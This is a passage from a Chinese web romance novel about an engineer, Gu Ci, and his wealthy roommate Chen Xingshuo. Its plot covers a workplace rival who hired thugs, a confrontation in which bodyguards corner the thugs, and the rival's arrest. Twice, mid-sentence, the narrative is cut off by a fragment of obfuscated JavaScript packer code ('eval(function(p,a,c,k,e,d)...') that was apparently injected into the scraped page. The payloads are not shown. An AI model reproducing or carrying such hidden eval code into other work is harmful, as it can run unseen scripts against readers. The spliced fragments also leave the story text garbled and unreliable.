“小孩子少吃点儿甜的没什么问题。” 他想起什么，问：“对了，你之前背后的淤青好点儿了吗？我等会儿再给你涂点儿药吧。” “我洗澡的时候从镜子里看了一下，淤青已经消散了不少。” 顾词绕到男人身后，撩起他身上的居家服，果然看背上的淤青已经淡化成老茶的颜色，看着不似之前那般触目惊心。 “是不是好了许多？”男人把衣服放下去。 “嗯，不过还是要抹点儿药油。” “好。” 顾词又吃了一颗草莓，对面的男人突然问：“你之前不是说参加了公司里的什么联谊活动吗？有什么动静没？” 顾词道：“没动静，听我们公司的人事说，我的信息被抹掉了。” 他没注意到男人几不可闻地轻呼出一口气。 顾词语气淡淡：“挺好的，我本来就不想参加。要是女生主动加我我不通过，会给人留下太高冷的印象。” “可能你的姻缘在别处。”辰星烁道。 “我暂时没有那方面的想法。”顾词又吃了一颗草莓，抽了一张纸擦了擦手上不小心沾上的果汁，把弄脏的纸巾丢进垃圾桶，“我吃得差不多了，去拿药油给你抹药吧。” “嗯。” 等涂完药，顾词去卫生间刷牙，正刷着，身后突然探出一颗脑袋。 辰星烁拿着同款电动牙刷，弯着眉眼，走到他身后，“我没什么事，就是给你看看这个新牙刷，谢谢你送我的牙刷。” 顾词笑了笑，“不用谢，你喜欢就好。” 辰星烁一边刷牙一边露出洁白的牙齿。 “我当然喜欢，感觉像情侣款。” 顾词笑道：“我们这算是室友款。” · 第二天，顾词上班后，辰星烁给辰鸿盛打了个电话。 辰星烁躺在沙发上，翘着二郎腿，晃着脚，开口就是一个“老登”问候过去。 对面：“……” 辰鸿盛：“你小子，想挨揍了是吧？” 辰星烁的笑声透过去，“我不想挨揍，是有事情要和小叔说。” “有屁快放。” “我感觉星云的新员工转正制度有点儿问题。” “你怎么突然过问起公司里的事情了？”辰鸿盛有种太阳打西边出来的感觉，“之前你爸让你去公司你死活不愿意去，怎么？现在想去公司了吗？” 辰星烁想了想顾词每天起早贪黑的样子，觉得太苦/逼了，摇摇头：“我不是，我没有，你别瞎说，我就是随便问一句。” 辰鸿盛摆出一副虚心接受指教的语气，“好，那你说转正制度有什么问题？” “我之前和星云的员工接触过，他们说这个转正制度没有人性。我想了想也挺有道理的。你看，人事费劲吧啦招两个人，主管们要对他们进行两轮面试，新员工没转正期间肯定也要支付他们工资，这中间每一个环节都消耗了不少钱，结果其中一个人是注定要离开公司的。这多浪费成本啊。”辰星烁翻了个身，又道：“而且两个人在一个公司里，难免不会有各种比较，搞得办公室气氛乌烟瘴气，同事们也深受其害。这不是妥妥的不合理吗？” 电话那边安静了一会儿，似乎在思考。 “你说的确实有道理，”辰鸿盛说，“其实这个制度一开始是为了筛选出更好的人，但是硬币总是有反面的，你说的那些就是无法避免的缺陷。” “如果说想筛选出更好的人，明明有更好的方法。”辰星烁思忖片刻，“要么一开始就增加入选门槛，要么在后面增加转正难度，至少要保证招进来的人都有转正的可能性。” 辰鸿盛道：“你说的我会认真考虑的，不过公司的流程制度变更不是我一个人决定的。我会把你说的当做一个提案改善提报上去，届时按照流程节点进行判断。” “好的，谢谢小叔。” 辰鸿盛揶揄道：“现在不是老登了？” 辰星烁哈哈哈笑起来：“我就是随口一喊，你还记上仇了？” “准备啥时候回家？你爸妈可天天从我这里打听你的消息呢。” 辰星烁问：“我妈没有因为我的事情气出病吧？”话语中包含着担心。 “你还能想起你妈妈？” “你就和他们说我一切都好。”辰星烁换了姿势，继续翘着二郎腿。 辰鸿盛说：“我们老辰家怎么出来你这么个逆子。不过你今天问我公司里的事情，我还是很震惊的，回头在你爸妈面前好好夸一夸你。” “不过，”辰鸿盛突然来了一个转折，“到底是哪个员工和你说的公司里的事情？严格来说，这个是违反公司规定的。” 辰星烁一下子抿起嘴巴，确保顾词的名字不会被辰鸿盛知晓。 “不至于吧？”辰星烁说，“我和他也不算很亲密的关系。” 住在同一屋檐下的不同房间，物理上存在隔离，确实不算亲密。 “那你还替人家说话？” “我……我哪有替人家说话？”辰星烁一时磕巴起来，“我保持着绝对的中立和客观，好吗？别诬陷我。” 18. 第十八章 “这只小狗要送到岁安街792号，是一个女生下单的。”王新将一个粉色的航空箱递给顾词，谆谆叮嘱，“这只小狗有点儿晕车，开车的时候注意一点儿，减少急刹车的频率。” 顾词说：“好，我知道了。” 岁安街是他老本家的地方，正好可以顺路看一下家里的老房子。 王新不舍地冲航空箱内的小哈士奇拜拜，“去新家要听话，别拆家知道吗？” 小狗有着蓝宝石般的眼睛，额头上带着三把火，似乎是听懂了他的话，“嗷呜”回应了一声。 顾词掏出航空箱内的小狗，放在坐在副驾的辰星烁腿上，“你拿着小狗，它有点儿晕车，关在笼子里不太好。” 原本顾词没想让辰星烁跟过来的，但是对方执意说担心他再次遇到袭击，顾词觉得确实有道理，就让年轻男人坐上了车。 “大概要开车多久？”辰星烁一边摸着哈士奇毛茸茸的脑袋一边问。 “半个小时的车程，”顾词说，“对了，你会开车吗？” “会，我不久前考的驾照。” “挺好的，是一项基本生活技能。” 辰星烁笑道：“回来的时候可以让我来开车。” “可以啊。”车子行驶到路口，顾词打开转向灯，转动方向盘。 辰星烁摸着小哈士奇的脑袋，说：“这狗真可爱。” 哈士奇踩着他的腿扒拉着车窗，顾词看了一眼小狗，降下车窗，外面的风裹着寒冷的气息涌入车厢内。 小狗伸出脑袋，看到窗外不断向后退去的车水马龙，汪汪叫了几声。 “小心点儿，别让它跳出去了。” “我抓着它的腿呢。” 小狗像是想证明这个事实，抬起腿给顾词看。 辰星烁牢牢抓住狗腿，力气没有掌控好，小奶狗“嗷嗷”叫了两声。 “你温柔一点儿。”顾词笑着说，“把小狗弄疼了。” 辰星烁“哦”了一声，揉了揉狗腿。 很快，车子就驶入一个偏僻的区域，两边的楼房都不太高，全是自建房。 这里算是A市的边缘，没有过多受到城市化的侵蚀，车窗外不时闪过几块田地。 顾词说：“我小时候就住在这一片。” 辰星烁听及此，往外多看了几眼。 “这里环境挺好的，没有光污染。” 到了和顾客约定好的地点，顾词把装了小狗的航空箱及小狗的各项证件交个一位女生。 女生和辰星烁差不多的年纪，道：“谢谢你们哦，这只小狗看着比在直播间里可爱多了。” 顾词说：“直播间里可能比较害羞。” 女生哈哈哈笑起来，“i 狗实锤了。” 顾词和女生介绍了养狗的注意事项，防止新手铲屎官因为知识盲区伤害到小狗。 “嗯嗯，之前下单的时候客服有给我发过一个新手铲屎官养狗手册，我前几天有认真研读。” 看样子是个负责人的铲屎官，顾词感觉很欣慰。 “好的，那就拜拜了哦。”顾词对小哈士奇拜拜手。 两人走到停在路边的车旁，顾词的手刚放在门把手上 ，不远处突然传来一道苍老的女声。 “小词？” 顾词目光追随而去，看到一个花白头发的老奶奶。 老奶奶看到顾词的样子，浑浊的眼球闪过一道亮光：“还真是小词，我还以为我老眼昏花看错了呢。” “张奶奶，在散步吗？”顾词走上前问。 “对啊，吃完晚饭消消食，你咋回来了？好久没看到你了。” 顾词笑道：“和朋友合伙开了一个宠物店，送狗去主人家正好经过这里。” 张奶奶从上到下看了一下顾词，目光慈爱：“小词啊，我看你也到了要娶亲的年纪，要不要让奶奶给你找一个女朋友啊？咱们社区内都是知根知底的，好相与。” 顾词笑道：“现在工作太忙了——” 话还没说完，老奶奶强行把一个写了联系方式的黄色便利贴塞到顾词手里。 看样子老太太不是来散步的，应该是在到处物色小伙子。 “这是我小孙女的联系方式，你见过她的，四里八乡都知道的漂亮女娃。” 辰星烁抢先接过便利贴：“我拿着吧。” 张奶奶看到面前还有一个帅气小伙，眯着眼睛问：“这位是？” 顾词道：“这是我室友，陈星。” “长得也挺帅的，你也加一下我孙女的联系方式吧。” 顾词：“……” 辰星烁一口回绝：“不用了。” 张奶奶讪讪地笑了笑：“看样子小伙子已经有心上人了啊。” 老人家又把脸转向顾词：“小词，你这次回来要回家吗？” 顾词点点头：“准备等会儿就过去。”这里距离他家的老宅隔着两条街。 离开了老奶奶，顾词刚启动车子，辰星烁突然问：“你和这位老奶奶关系很好吗？” “小时候在她家里吃过很多次饭。”顾词平静地说。 辰星烁不可思议地看着顾词，“在街坊邻居家吃饭吗？” “我爸妈刚出事的时候，我和妹妹吃过一段时间的百家饭。” 这不是一段很好的回忆，顾词紧紧抿着唇线，似乎不愿意多说。 顾词把车停到老宅的门口，对副驾的男人道：“你在这里等我吧，我进去一会儿就出来。” 这是一栋老式的平房，和周围翻新的自建楼房有着格格不入的破败和颓丧。窗户紧紧关闭着，从外面看黑漆漆的，像是硕大而空洞的眼球。 辰星烁问：“我不可以和你一块儿进去吗？看看你的老家。” 顾词摇摇头：“老宅内很久没有人住，里面到处都是灰尘。进去会弄脏你的，没这个必要。” 既然他已经这么说了，辰星烁也就没有继续央求。 顾词孑然走进老宅，将钥匙插进锁内，锁有些生锈，他转了两次才打开。 一进门，一层灰尘从门上落下，呛得顾词咳嗽了两下，结果肺里吸入更多的尘埃，眼睛溢出生理性盐水。 他按亮了灯，黄色的灯泡闪了好几下才稳定下来。 空气中一股陈旧破败的味道，他走到客厅前的桌子前，从口袋中掏出早就准备好的湿巾。 顾词认真地擦拭着两个遗像，照片中的人物随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他能感觉顾词状态不太对，猜测老宅让顾词想起过世的父母，努力帮助顾词转移注意力。 “我开车技术不太行，你最好系好安全带。” 顾词一看，这才注意到安全带没有带上，他问：“你是什么时候学的车？” “高考后一结束就去的，用邻居家的车练习过几次。” 辰星烁转动着方向盘，说：“你心里要是有什么不开心的事情，可以和我说，说出来心情会好一点。” 顾词道：“说出来没有任何意义，依赖别人是不长久的，我早就习惯了一个人面对问题。” 何况，他们只不过是短暂相处一个月的室友，分道扬镳后不会再有任何交集。 辰星烁闻言，没有再说什么。 他知道现在的自己在顾词眼中只是个小孩。 辰星烁第一次真真切切感到深深的无力感。 在顾词眼中，什么样的男人才值得共同分担心事呢？ 肯定不是除了父母给的财产一无所有的富二代。 顾词望向车窗外，缤纷动态的灯光落在他清隽立体的脸上。 突然，辰星烁看到什么，眼前一亮。 他问顾词：“你现在饿不饿？” 19. 第十九章 顾词的肚子应声而动。 辰星烁笑道：“看样子你也饿了，我刚才看到一个东北烧烤摊，我们可以去吃烧烤。” “好，先找个地方停车。” 辰星烁把车停好后，两人下车找刚才看到的烧烤摊。 烧烤摊旁很多人，辰星烁点了几十串烤串，有烤羊肉串、烤馒头、烤鱼。 老板很热情：“两位帅哥稍微等一下哈，二十分钟内肯定给你们烤好。” 辰星烁道：“没事，不着急。” 晚上开始起风，顾词吹了吹夜风，神志清醒许多。 辰星烁道：“好久没吃烧烤了，以前爸妈都不让我吃。” 顾词说：“我也好久没吃了。” 别说，还挺馋这一口的。 没多久，老板把烤好的烤串装在饭盒里给辰星烁，“拿好了啊，您慢用。” 烧烤摊是老板用板车改装的，拉到哪里卖到哪里，附近没有桌子，顾词和辰星烁站在路边你一串我一串地吃起来。 辰星烁拿着一串烤章鱼，问顾词：“你要尝尝这个吗？” 顾词看了看，老板把烧烤烤得色香味俱全，他在辰星烁没碰的地方咬了一口。 吃完，赞赏地点点头：“确实不错。” 辰星烁笑道，完全不在意顾词刚刚咬过，刚想咬上去，顾词说：“这个部位你还是别吃了，我咬过了。” 辰星烁笑了笑，“没事啊，我又不介意。”说着直接咬在顾词的齿印上。 顾词看了一眼，没有说什么。 两个人从下班后就开始忙着送狗狗去新家，都没找到时间吃饭，早就饿得饥肠辘辘。现在好不容易瞅到空档吃点儿东西，吃嘛嘛香。 辰星烁又从白色饭盒中给顾词找了几根腊肠：“尝尝这个，也挺好吃的。” 顾词接过：“会不会不够我们吃的？” “没事儿啊，回去我再给你做点儿饭，冰箱里啥都有。” 自从辰星烁住进顾词家，每天冰箱里都满满当当，顾词都很少去生鲜超市了。 之前王新担心辰星烁住在他家会给顾词带来麻烦，现在看来更多的是顾词占对方的便宜。 两人在路边吃完烧烤，顾词从口袋里掏出一包纸，抽出一张递给辰星烁：“擦擦嘴。” 吃东西真是一件令人愉悦的事情，顾词的心情舒畅了许多。 辰星烁擦完嘴，将纸巾揉成一团，丢进垃圾桶。 “走吧，我继续开车，给你当司机。” 顾词笑了笑：“辛苦了。” 辰星烁说：“奖励点儿我什么呗？” “你想要什么奖励？”顾词没听出来对方在开玩笑。 “比如少加点儿班？” 顾词笑出声：“这个我暂时决定不了，取决于我的顶头上司。” “哪天把他开了。” 顾词笑道：“期待你哪天助力我实现开掉上司的梦想。” · 露天的大排档附近，每个桌子都围着好几个人，其中不乏已经喝醉的人。男人一边吹着牛一边手舞足蹈，口中谈论的内容上至国家大事下至鸡毛蒜皮。 其中一个戴着鸭舌帽的男人突然把手掌拍在桌子上，露出手腕处的五角星纹身。 “放屁！”纹身男对坐在对面一个差不多身形的大块头男人道，“上次谁也不知道他身边的男人身手不错，要不然怎么会失手？” “他一个人顶三个人，要是能成为自己人就好了。看那男人挺年轻的，穿着也穷酸，也许用钱真的能收买。”大块头男人说。 纹身男朝地上啐了一口：“我们这行是刀尖上舔血，不止啥时候就进去了，你以为谁都愿意干？” “咱们都是通过黑市交易，只要办事利落不留痕迹，也没太大问题。”大块头说。 另一个光头男仰头干完了酒瓶中的啤酒，道：“说是这样说，但现在到处都是摄像头，想不留痕迹越来越难。” 纹身男说：“那个姓顾的最近身边多了几个保镖，果然大厂的打工人就是赚钱，保镖的价钱可不低。” 光头男说：“我们这次打草惊蛇了，下次想动手可就难多了。” 突然，头顶传来一声冷笑，一个男人的声音从上方道：“这倒说的不错。” 光头男感觉脑袋晕乎乎的，“是吧……” “准确来说，应该是完全没有机会了。”那道男声又道。 “这倒也不一定，等他放松警惕——” 突然纹身男的脖子被铁钳般的手捏住，他仰脸看到一个年轻的男人俊逸的面孔。 “好久没见，你们真是让我找得好辛苦。” 这句话像是淬了毒，纹身男感觉浑身的血液像是被瞬间抽干，瞳孔因震惊而放大。 “你？是那天晚上和顾词一块儿的男人？” “答案正确，我的长相的确属于令人过目不忘的类型。”辰星烁笑道，他对身后的十几个保镖扬扬头。 保镖们立马拥上去，控制住桌子上的人。 “你到底是谁？”纹身男的手臂被反按在后背，几乎无法动弹。 他能感觉这个男人并不简单，心中升起一个让他后怕的想法。 他怕不是得罪了什么权贵？ 其它桌子上的人看到这边的情况，胆子小的人默默离开，有一两个胆子大的人举着手机对着这边拍摄，两个保镖走上前要求他们删掉了。 大排档的老板害怕这边闹出人命，点头哈腰地走到辰星烁身边，小心翼翼地问：“老板，是出了什么事情吗？有什么事好商好量，千万别打起来啊……” 辰星烁从口袋中掏出一沓早就准备好的钞票，递到老板手上。 “放心，打不起来的。老板，今天晚上我包场。” 老板一看，辰星烁给的钱已经够包两个场子了，感恩戴德地走了。 确实如辰星烁所言，在双方实力差距太大的情况下是很难打起来的。 “想知道我是谁吗？”辰星烁冷冷睨了纹身男一眼。 方凯道：“别跟他废话了，他也配？！” “就算是让我死，我也想死个明白。我想知道我得罪的到底是谁？”纹身男问。 “放心，暂时是不会让你死的，但是如果你不说出背后的买家的话，那可就不一定了。”辰星烁威胁道，“而且我不会让你死，我会让你生不如死，我会让你失去所有谋生手段。” “你休想，如果告诉你幕后指使人，我在这一行还怎么继续混？！” 辰星烁冷笑一声：“看样子你是不见棺材不掉泪。”说完反手捏住纹身男的手腕，一个反拧！ 男人感觉手筋像是被扯断了，痛苦地叫出声：“啊啊啊！” 这声音美妙极了，辰星烁眼中凶光毕露，懒得和他继续扯犊子：“到底说不说？！” 光头男听着那撕裂般的叫喊，冲纹身男道：“老大，和他说了吧！咱们惹不起啊！” 方凯道：“终于看清形势了？” 辰星烁一字一顿：“再问最后一遍！说，还是不说？” 这句话对于纹身男来说，无异于莎士比亚的那句名言。 男人额角冷汗滴落，咬着牙挤出那个字：“说。” “这还不错。”辰星烁松开男人的手腕。 辰星烁道：“接下来我要讲的话，你听好了。如果让我发现你们没有照做，我可以保证，无论你跑到天涯海角，我一定能把你找出来。” 纹身男：“好。” “去警局自首，你们还能少蹲几年，但是如果我把你送到警局，那可就不算自首了，我想你一定能明白其中的道理。”辰星烁道，“和警察说清楚幕后指使你们作恶的人到底是谁。” 纹身男点点头，辰星烁这才示意保镖放开这几个人。 “我的人会一直看着你们，别想着动歪脑筋。” “我们知道了。”纹身男一只手握着刚才被暴力撕扯的手腕说。 · 一尘不染的玻璃前，顾词挤了一泵洗手液，雪白的泡沫覆上骨节分明的手指。 水龙头下汩汩淌出干净的水，顾词将腕骨突出的手放在水下冲洗着。 突然，赵海从门口走进来，看到顾词，假装不经意地撞了一下顾词的肩膀，导致水溅到了顾词袖口。 “你想干什么？”顾词问。 赵海瞄了一眼卫生间内，确定里面没人后，说话逐渐放肆起来。 “想干什么？我又不是故意的。” 顾词已经竭力避免和赵海起冲突，没想到赵海越来越得寸进尺。 “你把我当傻子吗？”顾词问。 赵海看着他的脸，忍不住笑道：“怎么了？难道不是吗？” “你是不是觉得把我挤兑走了，你就能转正了？” “难道不是吗？”赵海脸上带着至纯至真的邪恶。 顾词逼近：“就算我走了，黎总也不会让你留下来。你难道不知道这个岗位有几条转正的硬性条件吗？而你最近负责的几个项目，质量都没有达标，黎总怎么可能留下你？” 说到赵海的痛处，男人眼神露出凶光：“就算我没有转正又如何？我死也要让你跟着我陪葬！” 男人语气中的恶毒像是一根针刺入顾词的耳膜。 果然得罪君子不能得罪小人。 “之前的袭击事件就是你找的打手吧？”顾词问，他现在很希望身上带着一支录音笔，可惜他没有。 赵海再次确定四周无人，靠近顾词，压低声音：“是又怎样？就是我找的打手。” 那声音像是毒蛇在顾词耳边吐信子，人性幽微，真是令人觳觫。 顾词说：“你到底想干什么？打死我？” “打死你岂不是便宜了你？我要的是让你双腿残疾，这样你就上不了班，也养不了家。”赵海发出低沉的笑声，“我早就把你家里的情况调查清楚了，你从小就是个孤儿，和妹妹相依为命。一想到如果你瘫痪在床，家里唯一赚钱的顶梁柱倒下，你妹妹会是多么凄惨——” 没等赵海说完，顾词一只手揪住男人的衣领，另一只手紧紧握成拳头挥向赵海皱巴巴的脸上！ 就在拳头即将砸在赵海鼻梁上的瞬间，顾词的理智控制住了他的行为。 不能打，不能打，如果现在他和赵海打起来，和狗咬狗有什么区别？ 但是警察那边迟迟没有找到赵海下手的证据，能否等到迟到的正义还是个未知数。 顾词松开男人的衣领，赵海似乎没想到会激怒这个冷静理智的男人，退后几步和顾词拉开距离。 顾词压住火气：“纸是包不住火的，你做的事，我相信会有水落石出的那天。” 赵海扯了扯顾词弄皱的上衣，冷哼一声：“祝你成功。” 顾词抽了一抽纸擦干手上的水渍，离开了卫生间。 工位旁站着两个警察。 看到顾词，其中一个警察问：“你好，请问你有看到赵海赵先生吗？” “他在卫生间。”顾词问，“是有什么事情吗？” 警察毫不避讳：“有人举报赵海先生在黑市存在不法交易。” 一抹笑意瞬间出现在顾词清隽的脸上。 难道这就叫现世报吗？ “我刚刚还在卫生间看到赵海。” 警察和顾词道谢后，朝卫生间的方向走去。 没多久，两名警察扭送着赵海从众人面前经过，赵海恶狠狠地瞪了顾词一眼。 顾词连半个眼神都没有分给赵海。 这种不屑一顾的态度激怒了赵海，赵海冲顾词喊道：“顾词！你到底是什么人？！”明明他的交易非常隐蔽，怎么会被发现？！ 赵海不理解，他以为顾词只是个普通社畜，难道顾词身后还有别的势力？ 顾词懒得和他沟通。 等警察带走了赵海，李琦春道：“天呐，这是什么惊天大瓜，到底发生了什么？还有赵海最后一句话是什么意思？” 顾词平静道：“多行不义必自毙。” 沈盏道：“是这个道理，不管发生了什么，既然警察都来了，看样子赵海是回不了星云了。” 为了防止顾词听不懂，李琦春贴心地做了解释：“公司有规定，做了不法行为的一律辞退。加上赵海还没有转正，公司更不可能留着他了。” 正说着，公司大群里突然弹出一则通告。 顾词点进去，通告的标题赫然入目。 “关于取消新员工二选一转正制度的通知。”李琦春念出声。 沈盏拍手笑道：“好啊，这个制度终于取消了，想当年我们都是这样过来了，早就觉得这个制度不合理了。” 李琦春问：“咦？这是不是意味着顾词现在已经是正式员工了？” 顾词道：“应该不是，我还要进行转正述职，述职中要达到八十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王新说：“只听说过捡到狗家里来财的，还真没听说家里来个人气运就改了的，都是巧合吧。” 顾词道：“我其实也不信什么气运。” “成事在人，谋事在天，我相信没有你办不到的事，更不信什么运气。”王新说。 “现在想想自从毕业后有了经济来源，生活确实是一点点变好的。”顾词说，“虽然钱还是不够用，但是比起之前每天都在恐惧第二天该怎么生存下去要好得多。其中最感谢的就是你了，幸亏有你这个朋友帮助我。” 王新：“怎么突然说起获奖感言来了，要说感谢，我还要感谢你呢。我家里没有一个人支持我出来创业的，你一个跟我完全没有血缘关系的人努力打工支持我创业，我才是应该大大地感谢你才是。” 顾词笑道：“好了好了，你也别说了，搞得不流两滴眼泪好像都说不过去似的。” 王新在嘴上做了个拉上拉链的动作。 “哈哈哈。”顾词笑起来。 · 转正述职在周五，顾词为了这个述职报告准备了两个月，幸好一切都按照希望的方向发展，顾词顺利通过了转正。 述职会议一结束，齐梦珂拿着员工正式工牌来到顾词的工位，笑道：“顾工，恭喜啊，正式成为星云的一员了。” 顾词接过工牌，上面是顾词入职时拍摄的照片，穿着白色衬衫，身后是蓝色的星云logo标志。 工牌上面写着顾词的名字，岗位是人工智能六部研发工程师。 顾词拿出早就准备的糖果，给了齐梦珂一盒：“还要感谢你过了我的初筛，要不然也没有后面什么事了。” “哈哈哈，那是因为你本身就很优秀。” 下班后，空气都比平时清爽不少，顾词整个人透着明媚的气质，冲淡了往日的清冷气息。 人真是奇怪，明明后面要打三四十年的工，转正的第一天还是很开心。 因为不转正就没有工资了。 为了庆祝顾词转正，黎远送了顾词两瓶白葡萄酒，说这是他之前在国外读研的时候专门带回国的。 顾词拎着两瓶包装精美的白葡萄酒回到家，辰星烁又做了一桌子家常菜。 “尝尝我今天做的小鸡炖蘑菇。”辰星烁手里拿着锅铲，对顾词笑道。 “我顺利转正了。”顾词道。 “挺好啊，恭喜你正式成为社畜了。” “哈哈哈，”顾词把白葡萄酒放在桌子上，“工作和婚姻一样，都是围城。” “这是什么？”辰星烁看着白葡萄酒问。 “上司送的酒。” “哦，看着价格不菲啊。” “今天就用这酒助兴吧。”顾词笑道。 他打开包装，拿出其中的一瓶葡萄酒，在厨房的柜子里拿了两个高脚杯，在里面斟满了酒。 酒是好酒，顾词轻啜了一口，酒香甘冽，酸度中等，混合着青苹果、荔枝、葡萄的香气。 辰星烁道：“你酒量不是不好吗？少喝点儿。” 顾词眼睛弯了弯，“今天高兴。” “好好好，知道你高兴了，那我今天就舍命陪君子，不过你要先吃点儿饭垫垫，要不然对胃不好。” 顾词笑道：“我发现你还挺会照顾人的，将来你的女朋友有福气了。” “纠正一下，是‘伴侣’。” “哈哈哈。” 顾词一高兴，和辰星烁没多久就干完了一瓶酒。 顾词酒量确实不行，眼神逐渐迷蒙，碰杯的姿势透着懒洋洋的气质。 “这酒是甜口的，应该合你胃口……”顾词盯着酒杯，眼睑缓慢垂下。 辰星烁道：“别喝了，感觉你有点儿醉了。” 其实他也觉得开始酒精上头了。 “是吗？”顾词掀开眼眸，声音充满钝感。 辰星烁发了会儿呆，谁知顾词已经拆开了另一瓶酒，朝杯子里又斟满了一大杯。 “……” 顾词朝嗓子眼吨吨吨倒了大半杯，喝完不忘擦擦嘴角。 然后冲辰星烁露出一个荔枝味的笑：“好喝……” 辰星烁感觉一瞬间心脏漏了一拍，顾词笑起来竟这么好看。 “你醉了……”他柔声对男人道。 “脑袋晕乎乎的……”顾词扬起漂亮的脖颈，“我要去洗澡了。” 随后站起身，踉踉跄跄地朝卫生间走。 “你一个人能行吗？”辰星烁沙哑着声音。 顾词脸上飞着红晕：“当然能行，我冲一下就好了。” 顾词进了卫生间后，辰星烁感觉眼前的视线越来越模糊，脑袋有点儿发沉。突然，卫生间传来玻璃破碎的声响。 紧接着是一声闷闷的、重物滑倒的声音——